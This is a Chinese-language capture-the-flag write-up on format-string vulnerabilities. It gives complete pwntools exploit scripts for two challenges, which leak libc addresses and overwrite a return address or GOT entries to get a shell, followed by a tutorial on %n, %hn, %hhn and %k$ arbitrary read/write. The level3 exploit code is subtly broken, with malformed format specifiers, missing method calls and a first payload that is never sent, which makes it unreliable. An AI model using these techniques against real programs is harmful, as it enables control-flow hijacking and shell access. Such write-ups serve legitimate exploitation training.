格式化字符串专题加强

进行格式化字符串专题的加强,先写一个题目,再重温一下知识点进行总结一下。

TGCTF fmt

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int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]

v5 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Welcome TGCTF!");
printf("your gift %p\n", buf); //泄露出
puts("please tell me your name");
read(0, buf, 0x30uLL); //没有栈溢出
if ( magic == 1131796 )
{
printf(buf); //存在格式化字符串漏洞
magic = 0;
}
return 0;
}

只有一个格式化字符串漏洞,也只有一个读入。先去查看一下保护

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(myenv) linkpwn@linkpwn-VMware-Virtual-Platform:~$ checksec pwn
[*] '/home/linkpwn/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

没有开启pie,canary开启了,但是我们没用到栈溢出,所以我们不用管canary

因此这个题目的攻击思路就是,先利用格式化字符串泄露libc的基地址,然后再利用one_gadget.。

首先我们利用格式化字符串泄露libc的地址,同时也要利用格式化字符串写入one_gadget。

要利用两次格式化字符串的话,我们就不能让函数执行到 magic = 0;,所以我们必须把printf_ret的地址覆盖为read的地址,方便下次

的读入。

泄露出libc_start_main+xxx的地址可以计算出libc的基地址。

再用one_get工具查出execve(/bin/sh)的偏移,在用格式化字符串漏洞将返回地址写成execve(/bin/sh)的地址就可以getshell了

现在开始正式开始攻击

exp

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from pwn import *

# ================ 配置与初始化 ================
context(log_level='debug', arch='amd64', os='linux')
io = process('./pwn') # 本地调试
#io = remote('ip', port) # 远程连接

elf = ELF('./pwn')
libc = ELF('libc.so.6')

# ================ 泄露栈地址 ================
io.recvuntil(b'0x')
stack_addr = int(io.recv(12), 16)
info(f"Stack address: {hex(stack_addr)}")

# ================ 第一次格式化字符串攻击:泄露 libc 地址 ================
payload = b"%4669c%11$hn" # 控制写入低 2 字节
payload += b"%19$p" # 泄露 __libc_start_main 地址
payload = payload.ljust(0x28, b'\x00')
payload += p64(stack_addr - 8) # 写入到 stack_addr - 8 的位置

io.send(payload)

# 接收泄露的 libc 地址
io.recvuntil(b'0x')
leaked_libc = int(io.recv(12), 16)
libc_base = leaked_libc - 122 - libc.sym['__libc_start_main']
libc.address = libc_base
info(f"Libc base: {hex(libc_base)}")

# ================ 准备 one_gadget 并进行第二次格式化字符串写入 ================
one_gadgets = [0xE3AFE, 0xE3B01, 0xE3B04]
one_gadget = libc.address + one_gadgets[1]

# 构造格式化字符串写入 gadget 地址(分两次写入两个 16 位)
low = one_gadget & 0xFFFF
high = (one_gadget >> 16) & 0xFFFF

payload = f"%{low}c%10$hn".encode()
payload += f"%{(high - low) & 0xFFFF}c%11$hn".encode()
payload = payload.ljust(0x20, b'\x00')

# 栈上写入两个地址:分别写入 gadget 地址的低位和高位
payload += p64(stack_addr + 0x68) # 返回地址所在栈偏移
payload += p64(stack_addr + 0x68 + 2) # +2 写入高位部分

io.send(payload)

# ================ 获取 Flag ================
io.sendline(b'cat f*')
io.interactive()
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payload = b"%4669c%11$hn"          #hex(4669) = 0x123d -->read地址的后两字节
payload += b"%19$p" #泄露libc_start_main+地址
payload = payload.ljust(0x28, b'\x00')
payload += p64(stack_addr - 8) #p64(stack_addr - 8)---->printf的返回地址

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可以看到0x7fffffffdd08 = 0x7fffffffdd10 - 0x08从而定位printf_ret的地址。

然后我们可以看到libc_start_main+122的地址在栈上的位置;

0x7fffffffdd78 - 0x7fffffffdd10 = 104,104/8 = 13,此时我们用%19$p就可以泄露出libc_start_main+122的地址,再减去122就可以得到

libc_start_main地址,再用libc_start_main减去偏移就可以得到基地地址了。

然后再%4669c%11$hn进行两字节的写入。将printf_ret的地址改成read的地址。

用one_gdaget命令查execve(/bin/sh)的偏移

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linkpwn@linkpwn-VMware-Virtual-Platform:~$ one_gadget libc.so.6
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
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one_gadgets = [0xE3AFE, 0xE3B01, 0xE3B04]
one_gadget = libc.address + one_gadgets[1]

# 构造格式化字符串写入 gadget 地址(分两次写入两个 16 位)
low = one_gadget & 0xFFFF #低16位的两个字节
high = (one_gadget >> 16) & 0xFFFF #高16位的两个字节

payload = f"%{low}c%10$hn".encode() #把低16位的两个字节写入偏移为10的位置
payload += f"%{(high - low) & 0xFFFF}c%11$hn".encode() #把高16位的两个字节写入偏移为11的位置
payload = payload.ljust(0x20, b'\x00')

# 栈上写入两个地址:分别写入 gadget 地址的低位和高位
payload += p64(stack_addr + 0x68) # 返回地址所在栈偏移 偏移为10的位置
payload += p64(stack_addr + 0x68 + 2) # +2 写入高位部分 偏移为11的位置

注释:11是怎么算出来的

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linkpwn@linkpwn-VMware-Virtual-Platform:~$ ./pwn
Welcome TGCTF!
your gift 0x7ffeec1ae9c0
please tell me your name
aaaa %p %p %p %p %p %p %p %p %p
aaaa 0x7ffeec1ae9c0 0x30 0x7c484851ba61 0x18 (nil) 0x2070252061616161 0x7025207025207025 0x2520702520702520 0xa70252070252070

偏移是6,0x28/8 = 5,5 + 6 =11;

level3

写完这题就来总结一下格式化字符串的原理。

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int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v5; // [rsp+108h] [rbp-8h]

v5 = __readfsqword(0x28u);
((void (__fastcall *)(int, const char **, const char **))init)(argc, argv, envp);
puts("-----");
read(0, buf, 0x110uLL);
printf(buf); //只有唯一的一个格式化字符串的漏洞,所以我们要构造一个循环
return 0;
}
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.text:000000000040121B ; __unwind {
.text:000000000040121B endbr64
.text:000000000040121F push rbp
.text:0000000000401220 mov rbp, rsp
.text:0000000000401223 sub rsp, 110h
.text:000000000040122A mov rax, fs:28h
.text:0000000000401233 mov [rbp+var_8], rax
.text:0000000000401237 xor eax, eax
.text:0000000000401239 mov eax, 0
.text:000000000040123E call init
.text:0000000000401243 lea rax, s ; "-----"
.text:000000000040124A mov rdi, rax ; s
.text:000000000040124D call _puts
.text:0000000000401252 lea rax, [rbp+buf]
.text:0000000000401259 mov edx, 110h ; nbytes
.text:000000000040125E mov rsi, rax ; buf
.text:0000000000401261 mov edi, 0 ; fd
.text:0000000000401266 call _read
.text:000000000040126B lea rax, [rbp+buf]
.text:0000000000401272 mov rdi, rax ; format
.text:0000000000401275 mov eax, 0
.text:000000000040127A call _printf
.text:000000000040127F mov eax, 0
.text:0000000000401284 mov rdx, [rbp+var_8]
.text:0000000000401288 sub rdx, fs:28h
.text:0000000000401291 jz short locret_401298
.text:0000000000401293 call ___stack_chk_fail

我们看到了call ___stack_chk_fail,这个是关键。

为什么会有这个呢? —–>因为开启了canary

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Arch:       amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes

查看保护,开启了canary。

利用格式化字符串的任意位置的篡改,我们就可以将 ___stack_chk_fail篡改为main的地址,这样就会进入无限循环

我们先去找到main和___stack_chk_fail的got地址,在篡改的同时还可以利用printf_got泄露printf的地址。

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main_addr = 0x40121b
stack_chk_fail_got = 0x0403320
printf_got = 0x403328
payload = b'%' + str(0x1b).encode + b'%c22%$hhn'
payload += b'%' + str(0x100 - 0x1b)+(0x12).encode + b'%c23%$hhn'
payload += b'%' + str(0x100 - 0x12)+(0x40).encode + b'%c24%$hhn'
payload += b'---b%25$s' #方便接收
payload = payload.ljust(0x80,b'a') #0x80/8 = 16 + 6(偏移见下图) = 22
payload += p64(stack_chk_fail_got) # %$hhn是单字节写入 stack_chk_fail_got是%c22%$hhn写入的地址
payload += p64(stack_chk_fail_got + 0x1) # stack_chk_fail_got + 0x1是%c23%$hhn写入的地址
payload += p64(stack_chk_fail_got + 0x2) # stack_chk_fail_got + 0x2是%c24%$hhn写入的地址
payload += p64(printf_got)
payload = payload.ljust(0x100,b'a')
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aaaa %p %p %p %p %p %p %p %p
aaaa 0x7ffcf57781d0 0x110 0x7a8a8171ba61 0x5 0x7a8a81904380 0x2070252061616161 0x7025207025207025 0x2520702520702520
#偏移为6

执行这个payload就进入无限循环了,并且泄漏量printf的地址。

根据print的地址,计算出libc的基地址。

此时我就要再次利用格式化字符串,将printf_got的地址改成system的地址,在发送/bin/sh就能获取shell。

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io.recvuntil(b"---b")  
printf_addr = u64(io.recvn(6)+b'\x00'*2) #接收printf的地址
success(f"printf_addr ->{hex(printf_addr)}")
libc_base = printf_addr - libc.sym['printf'] #计算基地址
system = libc_base + libc.sym['system'] #算出system的地址
success(f"libc_base ->{hex(libc_base)}")
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payload = b"%" + str(system & 0xff).encode() + b"c%22$hhn" #最低字节写入偏移为的位置
payload += b"%" + str((0x100 - (system & 0xff)) + ((system >> 8) & 0xff)).encode() + b"c%23$hhn" #同理去高一位的字节
payload += b"%" + str((0x100 - (((system >> 8) & 0xff))) + (((system >> 16) & 0xff))).encode() + b"c%24$hhn" #同理
payload = payload.ljust(0x80,b'a')
payload += p64(printf_got) #c%22$hhn写入的位置
payload += p64(printf_got + 0x1) #c%23$hhn写入的位置
payload += p64(printf_got + 0x2) #c%24$hhn写入的位置
payload = payload.ljust(0x110,b"a")
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io.sendline(b'/bin/sh')

完整exp

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from pwn import *

context(log_level='debug', arch='amd64', os='linux')
io = process('./pwn')
#io = remote('ip', port) # 远程连接

elf = ELF('./pwn')
libc = ELF('libc.so.6')

main_addr = 0x40121b
stack_chk_fail_got = 0x0403320
printf_got = 0x403328
payload = b'%' + str(0x1b).encode + b'%c22%$hhn'
payload += b'%' + str(0x100 - 0x1b)+(0x12).encode + b'%c23%$hhn'
payload += b'%' + str(0x100 - 0x12)+(0x40).encode + b'%c24%$hhn'
payload += b'---b%25$s' #方便接收
payload = payload.ljust(0x80,b'a') #0x80/8 = 16 + 6(偏移见下图) = 22
payload += p64(stack_chk_fail_got) # %$hhn是单字节写入 stack_chk_fail_got是%c22%$hhn写入的地址
payload += p64(stack_chk_fail_got + 0x1) # stack_chk_fail_got + 0x1是%c23%$hhn写入的地址
payload += p64(stack_chk_fail_got + 0x2) # stack_chk_fail_got + 0x2是%c24%$hhn写入的地址
payload += p64(printf_got)
payload = payload.ljust(0x100,b'a')

io.recvuntil(b"---b")
printf_addr = u64(io.recvn(6)+b'\x00'*2) #接收printf的地址
success(f"printf_addr ->{hex(printf_addr)}")
libc_base = printf_addr - libc.sym['printf'] #计算基地址
system = libc_base + libc.sym['system'] #算出system的地址
success(f"libc_base ->{hex(libc_base)}")

payload = b"%" + str(system & 0xff).encode() + b"c%22$hhn" #最低字节写入偏移为的位置
payload += b"%" + str((0x100 - (system & 0xff)) + ((system >> 8) & 0xff)).encode() + b"c%23$hhn" #同理去高一位的字节
payload += b"%" + str((0x100 - (((system >> 8) & 0xff))) + (((system >> 16) & 0xff))).encode() + b"c%24$hhn" #同理
payload = payload.ljust(0x80,b'a')
payload += p64(printf_got) #c%22$hhn写入的位置
payload += p64(printf_got + 0x1) #c%23$hhn写入的位置
payload += p64(printf_got + 0x2) #c%24$hhn写入的位置
payload = payload.ljust(0x110,b"a")

io.sendline(b'/bin/sh')
io.interactive()

现在开始格式化字符串漏洞的知识点的总结。

什么是格式化字符串?

  • 在 C/C++ 等语言中,像 printf, sprintf, fprintf, syslog 等函数使用一个格式化字符串作为第一个参数。这个字符串包含普通文本和以 % 开头的格式化说明符。
  • 函数根据格式化说明符的指示,从后续的参数列表中读取相应数量和类型的参数,并将它们格式化后输出到目标(屏幕、字符串、文件等)。

漏洞成因:

  • 程序员错误: 当程序员允许用户输入直接作为格式化字符串传递给这些格式化输出函数时,漏洞就产生了。
  • 关键区别:
    • 正确用法: printf("%s", user_input); - 用户输入被当作一个普通的字符串参数传递给 %s。函数期望一个字符串地址作为第二个参数。
    • 漏洞用法: printf(user_input); - 用户输入本身被当作格式化字符串。如果用户输入中包含 % 开头的字符序列,函数会将其解释为格式化说明符。
  • 函数行为: 当遇到格式化说明符时,函数会假设在栈(或寄存器,取决于调用约定)上存在对应的参数。它就会按照格式化说明符的要求去读取内存中它“认为”是参数的位置。

漏洞危害:

  • 信息泄露 (Read):读取栈内存、函数返回地址、库函数地址、程序代码地址、Canary值、甚至任意地址的内容(如密码、密钥)。
  • 内存覆写 (Write):向栈内存、函数返回地址、全局偏移表 (GOT)、析构函数表 (DTORS)、任意地址写入数据,从而劫持程序控制流(执行任意代码)。
  • 程序崩溃: 读取或写入无效地址导致段错误。
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%s - 字符串读取 (Read)

功能: 期望一个指针(地址)作为参数。函数从该地址开始读取内存,直到遇到空字符 (\0),并将读取到的字节作为字符串输出。

漏洞利用 (信息泄露):

泄露栈内容: printf("%s"); - 函数会试图将当前栈上“它认为”是参数的位置(通常是格式化字符串指针后面的位置)解释为一个指针,并尝

试读取该指针指向的内存。如果这个位置恰好包含一个有效的(或可读的)地址,就能泄露该地址处的字符串。例如:

用户输入 "%s" -> 程序崩溃或泄露栈上某个地址处的数据。

用户输入 "AAAA%x%x%x%s" -> 先泄露几个栈值 (%x),然后用其中一个值作为指针 (%s) 去读内存。

泄露任意地址内容 (结合偏移):

构造 payload:<目标地址><格式化字符串>

利用 %k$s (其中 k 是偏移量) 指定将栈上第 k 个参数当作指针,用 %s 去读取。例如:

假设 <目标地址> 被放置在栈上第 8 个参数的位置。

Payload: "\x78\x56\x34\x12%8$s" (假设 0x12345678 是目标地址,小端序写入)。

printf 看到 %8$s,就会把栈上第 8 个位置的值 0x12345678 当作指针,读取该地址处的字符串并输出。

关键点: %s 是读取目标地址指向的内存内容(直到 \0),不是读取地址本身的值。地址本身通常需要用 %p 或 %x 泄露。
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%n - 写入已打印字符数 (Write)

功能: 期望一个 int *(指向整数的指针)作为参数。该功能是漏洞实现任意地址写的核心! 函数将到目前为止已成功输出的字符总数写入到
这个指针指向的内存位置。

漏洞利用 (内存覆写):

覆写栈变量/指针/返回地址: printf("AAAA%n"); - 函数试图将已打印的字符数 (4个 A,所以是4) 写入到栈上“它认为”是参数的位置(本
该是一个 int * 的地方)。如果该位置可写,值 4 就被写入了。这通常会导致崩溃或意外行为。

覆写任意地址 (结合偏移):

构造 payload:<目标地址><填充字符><%k$n> 或 <填充字符><%k$n><目标地址> (取决于目标地址在栈上的位置)。

利用 %k$n 指定将栈上第 k 个参数当作 int *,并将已打印字符数写入该地址。

例如,要写 0xdeadbeef (4字节) 到地址 0x0804a000:

需要先打印 0xdeadbeef (3, 737, 519, 343) 个字符?这几乎不可能,因为数字太大。

解决方案: 使用 %hn 或 %hhn 分多次写 2 字节或 1 字节。
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%hn - 写入已打印字符数 (短整型 - 2字节) (Write)

功能: 期望一个 short int *(指向短整型的指针)作为参数。将到目前为止已成功输出的字符总数(只取其低 16 位)写入到这个指针指向的内存位置(写入 2 个字节)。

为什么重要? 要写入的值(如地址、Shellcode 地址)通常很大(4字节或8字节)。一次性用 %n 写入一个巨大的数字(如 0x0804a000 =
134, 520, 832)需要构造极长的输出字符串,不现实且容易出错。%hn 允许我们分两次写入一个 4 字节值(高 16 位和低 16 位)或四次写
入一个 8 字节值。

漏洞利用 (精确内存覆写):

覆写任意地址的 2 字节 (Word):

构造 payload:<目标地址><填充字符><%k$hn>

%k$hn 将已打印字符数(模 65536)的低 16 位写入到第 k 个参数指向的地址(2字节)。

覆写任意地址的 4 字节 (Dword - 常用):

假设目标地址是 0x0804a000 (要写入的值 val = 0xdeadbeef)。

将地址拆分为高 16 位 (high = 0xdead) 和低 16 位 (low = 0xbeef)。

方法 1 (地址连续):

Payload: <addr_low><addr_high><填充使总字符数=low><%m$hn><填充使总字符数=high><%n$hn> (注意 low 和 high 可能小于之前打印
的字符数,需要用模运算调整)

其中 m 是 addr_low 在栈上的位置偏移,n 是 addr_high 在栈上的位置偏移(通常 n = m + 1 或 n = m + 2,取决于指针大小)。

第一个 %m$hn 将 low 写入 addr_low 指向的地址(即 0x0804a000)。

第二个 %n$hn 将 high 写入 addr_high 指向的地址(即 0x0804a000 + 2 = 0x0804a002)。

方法 2 (地址重叠 - 更紧凑):

Payload: <addr><填充使总字符数=low><%m$hn><填充使总字符数=high><%m$hn> (但这次 addr 指向 0x0804a000)

第一个 %m$hn 将 low (0xbeef) 写入 addr (0x0804a000)。

第二个 %m$hn 会再次写入 addr (0x0804a000)。但此时已打印字符数是 low + padding_for_high = 0xbeef + ... = high (假设填充计
算正确),所以将 high (0xdead) 写入 0x0804a000。覆盖了之前写入的低位!

错误! 需要写入 addr (0x0804a000) 和 addr+2 (0x0804a002)。方法 2 不正确。

正确方法 2 (两个不同地址):

Payload: <addr_high><addr_low><填充使总字符数=low><%p$hn><填充使总字符数=high_minus_low><%q$hn>

其中 p 是 addr_low 的偏移,q 是 addr_high 的偏移。

第一个 %p$hn 写 low 到 addr_low。

第二个 %q$hn 写 high 到 addr_high。注意 high_minus_low 可能需要模 65536 计算,如果 high < low 需要加 65536。

关键点: 精确计算需要打印的字符数(通过添加特定数量的填充字符,如 %1234d)来控制写入的值。写入顺序(先低后高或先高后低)取决于
目标地址的布局和值的大小关系(避免 high < low 时需要额外处理)。
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%hhn - 写入已打印字符数 (字符 - 1字节) (Write)

功能: 期望一个 char *(指向字符的指针)作为参数。将到目前为止已成功输出的字符总数(只取其最低 8 位)写入到这个指针指向的内存位置(写入 1 个字节)。

为什么重要? 提供最精细的控制粒度。可以分 4 次写入一个 4 字节值或 8 次写入一个 8 字节值。对于写入小值或需要非常精确控制内存内

容的场景很有用。构造 payload 可能更长(需要更多次写入),但计算相对简单(模 256)。

漏洞利用 (极其精确的内存覆写): 原理与 %hn 类似,但分成 4 个字节 (4字节地址) 或 8 个字节 (64位地址)。Payload 包含目标地址的

4/8 个部分(每个部分 1 字节)和对应的 %k$hhn 及填充。计算每个阶段需要打印的字符数(模 256)。
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%p, %x, %d - 泄露数据 (Read)

%p: 以指针格式(通常是十六进制带 0x 前缀)输出参数(一个地址)。

%x/%X: 以十六进制格式(无前缀)输出参数(一个无符号整数)。常用于泄露栈上的数据(可能包含指针或 Canary)。

%d/%u: 以十进制格式输出参数(有符号/无符号整数)。也能泄露栈数据。

漏洞利用 (信息泄露 - 栈勘查):

printf("%p %p %p %p %p"); - 连续泄露栈上多个位置的值(通常是格式化字符串指针之后的栈内容)。这是最开始的“探针”,用于:

定位用户输入的格式化字符串本身在栈上的位置(找偏移量 k)。

寻找栈上的返回地址、库函数地址、Canary 值等。

printf("%100$p"); - 直接泄露栈上第 100 个“参数”位置的值(如果存在)。

结合 %s 泄露任意地址内容(如前所述)。
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%k$ - 直接参数访问 (关键!)

功能: 这不是一个独立的说明符,而是修饰符。加在 % 和格式字符(如 s, n, x, p)之间,例如 %8$p, %3$s, %5$n, %10$hn。

含义: 显式指定使用格式化字符串后面的第 k 个参数(而不是按顺序使用下一个参数)。

为什么是漏洞利用的核心?

精准定位: 在格式化字符串漏洞中,攻击者可以精心构造输入字符串(包含目标地址和格式化说明符),并利用 %k$ 精确地告诉 printf 去

哪里找它需要的指针参数(用于 %s, %n, %hn, %hhn)。这使得攻击者能够读写任意指定的内存地址。

绕过不确定性: 栈的布局可能因环境而异。通过泄露栈内容(用 %p, %x),攻击者可以计算出目标地址需要放置在格式化字符串的哪个位置,进而确定正确的偏移量 k 用于 %k$。

示例:

假设通过泄露发现,用户输入的格式化字符串起始地址位于栈上第 7 个参数的位置。

攻击者 payload 开头写入 4 字节的目标地址 0x0804a000。

那么,这个目标地址就会出现在栈上第 7 个参数的位置(因为格式化字符串指针是第 1 个参数,payload 内容紧随其后)。

使用 %7$s 就可以尝试读取 0x0804a000 地址处的字符串。

使用 %7$n 就可以将已打印字符数写入 0x0804a000 地址处。